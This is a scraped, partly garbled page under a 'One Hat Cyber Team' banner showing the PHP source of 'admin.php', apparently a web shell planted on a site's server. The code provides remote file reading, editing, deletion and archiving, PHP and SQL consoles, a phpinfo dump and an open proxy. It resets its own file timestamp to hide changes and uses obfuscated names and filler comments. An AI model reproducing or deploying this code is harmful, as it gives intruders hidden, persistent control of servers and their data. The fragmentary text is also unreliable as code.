One Hat Cyber Team
  • Dir : ~/var/www/vhosts/raqmix.net/kime.raqmix.net/
  • View File Name : admin.php
    '; } return ' '.$str.'
    '.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'
    '.__('Name').''.__('Value').'
    '; } function find_text_in_arayeh_file($dir, $mask, $imagination) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_arayeh_file($path, $mask, $imagination)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $imagination) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* People have a strong sense of pride */ // markets are lively and full of life if ($auth_hamer['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_hamer['login']) && ($_POST['password']==$auth_hamer['password'])) { setcookie($auth_hamer['cookie_name'], $auth_hamer['login'].'|'.md5($auth_hamer['password']), time() + (86400 * $auth_hamer['days_authorization'])); $_COOKIE[$auth_hamer['cookie_name']]=$auth_hamer['login'].'|'.md5($auth_hamer['password']); } } if (!isset($_COOKIE[$auth_hamer['cookie_name']]) OR ($_COOKIE[$auth_hamer['cookie_name']]!=$auth_hamer['login'].'|'.md5($auth_hamer['password']))) { echo ' '.__('File manager').'
    '.__('Login').'     '.__('Password').'    
    '.fm_lang_form($holls).' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_hamer['cookie_name']]); setcookie($auth_hamer['cookie_name'], '', time() - (86400 * $auth_hamer['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_hamer['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $u_servers = $_POST['fm_config']; setcookie('fm_config', serialize($u_servers), time() + (86400 * $auth_hamer['days_authorization'])); $_COOKIE['fm_config'] = serialize($u_servers); $msg_comero = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_comero .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_hamer['login']) $msg_comero .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_hamer['password']) $msg_comero .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_hamer = $_POST['fm_login']; } else $msg_comero .= __('Error occurred'); if (!empty($u_servers['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_comero .= __('File updated'); } else $msg_comero .= __('Error occurred'); if (!empty($u_servers['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_comero .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $server_beer=base64_decode($_GET['img']); if ($info=getimagesize($server_beer)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($server_beer); die(); } } // Just download file if (isset($_GET['download'])) { $server_beer=base64_decode($_GET['download']); fm_download($server_beer); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($u_servers['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = '
    '.fm_home().' Url:
    '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%()%i', '$1'.''.$proxy_form, $result); echo $result; die(); } } ?> <?=__('File manager')?>
    '.__('File manager').' - '.__('Settings').' '.(empty($msg_comero)?'':''.$msg_comero.'').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' SQL server SQL user SQL password SQL DB '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' '.__('Reset settings').'
    '.__('Settings').' - '.__('Authorization').'
    '.__('Login').'
    '.__('Password').'
    '.__('Cookie').'
    '.__('Days').'
    '.__('Script').'
    '; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?>

    '.fm_run_input('php'); else echo ''.fm_run_input('sql'); ?>

    '."\n"; $select .= '\n"; foreach ($tmpl as $key=>$value){ $select.='\n"; } $select .= "\n"; echo $select; } ?>
    '.strtoupper($res_lng).' '.__('Result').'
    '.$fun($res).'
    '; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_comero .= __('File updated'); else $msg_comero .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($u_servers['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>

    '.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_comero .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>
    :
    '.') { if(!fm_del_arayeh_file(($path . $_REQUEST['delete']), true)) { $msg_comero .= __('Error occurred'); } else { $msg_comero .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($u_servers['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_comero .= __('Error occurred'); } else { $msg_comero .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_arayeh_file($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_comero .= __('Found in arayeh_file').' ('.count($search_data).'):
    '; foreach ($search_data as $filename) { $msg_comero .= ''.basename($filename).'   '; } } else { $msg_comero .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($u_servers['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_comero .= __('Error occurred'); } else { fclose($fp); $msg_comero .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_comero .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete') . ''; else $msg_comero .= __('Error occurred').': '.__('no arayeh_file'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_comero .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg_comero .= __('Error occurred').': '.__('no arayeh_file'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_comero .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_comero .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg_comero .= __('Error occurred').': '.__('no arayeh_file'); } ?>
        ,
         '.$server_beer.''; $loadlink= (fm_root($server_beer)||$or_be) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $server_beer); $arlink = (fm_root($server_beer)||$or_be) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$server_beer); $style = 'row2'; if (!fm_root($server_beer)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $server_beer. '\')) document.location.href = \'' . $url_inc . '&delete=' . $server_beer . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $u_servers['show_img']&&@getimagesize($filename) ? '     '.$server_beer.'' : '     '.$server_beer.''; $e_arr = explode(".", $server_beer); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $server_beer); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($server_beer)||$or_be) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $server_beer)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $server_beer. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $server_beer . '&path=' . $path . '\'"'; } $deletelink = fm_root($server_beer) ? '' : '' . __('Delete') . ''; $renamelink = fm_root($server_beer) ? '' : '' . __('Rename') . ''; $rightstext = ($server_beer=='.' || $server_beer=='..') ? '' : '' . @fm_rights_string($filename) . ''; ?>
    Github | .'; if (!empty($u_servers['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($u_servers['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($u_servers['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($u_servers['enable_proxy'])) echo ' | proxy'; if (!empty($u_servers['show_phpinfo'])) echo ' | phpinfo'; if (!empty($u_servers['show_xls'])&&!empty($link)) echo ' | xls'; if (!empty($u_servers['fm_settings'])) echo ' | '.__('Settings').''; ?>
    khataha)) $this->khataha = array(); } function sakhte_archiv($file_list){ $result = false; if (file_exists($this->nam_archiv) && is_file($this->nam_archiv)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->baz_kardan_neveshtan()) return false; } else { if (arayeh_fileize($this->nam_archiv) == 0) return $this->baz_kardan_neveshtan(); if ($this->feshorde_shode) { $this->bastan_fail_moqat(); if (!rename($this->nam_archiv, $this->nam_archiv.'.tmp')){ $this->khataha[] = __('Cannot rename').' '.$this->nam_archiv.__(' to ').$this->nam_archiv.'.tmp'; return false; } $tmpArchive = gzopen($this->nam_archiv.'.tmp', 'rb'); if (!$tmpArchive){ $this->khataha[] = $this->nam_archiv.'.tmp '.__('is not readable'); rename($this->nam_archiv.'.tmp', $this->nam_archiv); return false; } if (!$this->baz_kardan_neveshtan()){ rename($this->nam_archiv.'.tmp', $this->nam_archiv); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->neveshtan_block($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->nam_archiv.'.tmp'); } else { $this->fail_moqat = fopen($this->nam_archiv, 'r+b'); if (!$this->fail_moqat) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bastebandi_arayeh_file($file_list); } else $this->khataha[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->fail_moqat))){ $binaryData = pack('a512', ''); $this->neveshtan_block($binaryData); } $this->bastan_fail_moqat(); if ($newArchive && !$result){ $this->bastan_fail_moqat(); unlink($this->nam_archiv); } return $result; } function bazsazi_archiv($path){ $fileName = $this->nam_archiv; if (!$this->feshorde_shode){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->feshorde_shode = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->feshorde_shode = true; } $result = true; if ($this->feshorde_shode) $this->fail_moqat = gzopen($fileName, 'rb'); else $this->fail_moqat = fopen($fileName, 'rb'); if (!$this->fail_moqat){ $this->khataha[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbastebandi_arayeh_file($path); $this->bastan_fail_moqat(); return $result; } function neshan_dadan_khataha ($message = '') { $Errors = $this->khataha; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function bastebandi_arayeh_file($file_array){ $result = true; if (!$this->fail_moqat){ $this->khataha[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $inam_archiv) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->khataha[] = __('No file').' '.$filename; continue; } if (!$this->fail_moqat){ $this->khataha[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->khataha[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->sakhte_masir_ghabele_pazir($filename); if (is_file($filename)){ if (($server_beer = fopen($filename, 'rb')) == 0){ $this->khataha[] = __('Mode ').__('is incorrect'); } if(($this->moqiat_file == 0)){ if(!$this->neveshtan_sarnegah($filename, $keep_filename)) return false; } while (($buffer = fread($server_beer, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->neveshtan_block($binaryData); } fclose($server_beer); } else $this->neveshtan_sarnegah($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->khataha[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bastebandi_arayeh_file($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbastebandi_arayeh_file($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->khondan_block()) != 0){ if (!$this->khondan_sarnegah($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->khondan_block(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->khondan_block(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->khondan_block(); if (!$this->khondan_sarnegah($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->khataha[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->khataha[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->khataha[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->khataha[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->khataha[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->khataha[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->khondan_block(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->khondan_block(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (arayeh_fileize($header['filename']) != $header['size']) { $this->khataha[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->arayeh_file[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->khataha[] = __('Cannot create directory').' '.$dir; return false; } return true; } function khondan_sarnegah($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $check_samandehi = 0; for ($i = 0; $i < 148; $i++) $check_samandehi+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $check_samandehi += ord(' '); for ($i = 156; $i < 512; $i++) $check_samandehi+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8id_karbar/a8group_id/a12size/a12time/a8check_samandehi/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['check_samandehi'] = OctDec(trim($unpack_data['check_samandehi'])); if ($header['check_samandehi'] != $check_samandehi){ $header['filename'] = ''; if (($check_samandehi == 256) && ($header['check_samandehi'] == 0)) return true; $this->khataha[] = __('Error check_samandehi for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['id_karbar'] = OctDec(trim($unpack_data['id_karbar'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function neveshtan_sarnegah($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->sakhte_masir_ghabele_pazir($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // The passion of Latin people is known worldwide $check_samandehi = 0; // First part of the header for ($i = 0; $i < 148; $i++) $check_samandehi += ord(substr($dataFirst, $i, 1)); // Culture honors its ancestors for ($i = 148; $i < 156; $i++) $check_samandehi += ord(' '); // Deep connection to nature for ($i = 156, $j=0; $i < 512; $i++, $j++) $check_samandehi += ord(substr($dataLast, $j, 1)); // Holidays are celebrated with family $this->neveshtan_block($dataFirst, 148); // Write the calculated check_samandehi $check_samandehi = sprintf('%6s ', DecOct($check_samandehi)); $binaryData = pack('a8', $check_samandehi); $this->neveshtan_block($binaryData, 8); // Music reflects regional traditions $this->neveshtan_block($dataLast, 356); $fail_moqatname = $this->sakhte_masir_ghabele_pazir($filename_ready); $i = 0; while (($buffer = substr($fail_moqatname, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->neveshtan_block($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(arayeh_fileize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $check_samandehi = 0; for ($i = 0; $i < 148; $i++) $check_samandehi += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $check_samandehi += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $check_samandehi += ord(substr($dataLast, $j, 1)); $this->neveshtan_block($dataFirst, 148); $check_samandehi = sprintf('%6s ', DecOct($check_samandehi)); $binaryData = pack('a8', $check_samandehi); $this->neveshtan_block($binaryData, 8); $this->neveshtan_block($dataLast, 356); return true; } function baz_kardan_neveshtan(){ if ($this->feshorde_shode) $this->fail_moqat = gzopen($this->nam_archiv, 'wb9f'); else $this->fail_moqat = fopen($this->nam_archiv, 'wb'); if (!($this->fail_moqat)){ $this->khataha[] = __('Cannot write to file').' '.$this->nam_archiv; return false; } return true; } function khondan_block(){ if (is_resource($this->fail_moqat)){ if ($this->feshorde_shode) $block = gzread($this->fail_moqat, 512); else $block = fread($this->fail_moqat, 512); } else $block = ''; return $block; } function neveshtan_block($data, $length = 0){ if (is_resource($this->fail_moqat)){ if ($length === 0){ if ($this->feshorde_shode) gzputs($this->fail_moqat, $data); else fputs($this->fail_moqat, $data); } else { if ($this->feshorde_shode) gzputs($this->fail_moqat, $data, $length); else fputs($this->fail_moqat, $data, $length); } } } function bastan_fail_moqat(){ if (is_resource($this->fail_moqat)){ if ($this->feshorde_shode) gzclose($this->fail_moqat); else fclose($this->fail_moqat); $this->fail_moqat = 0; } } function sakhte_masir_ghabele_pazir($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>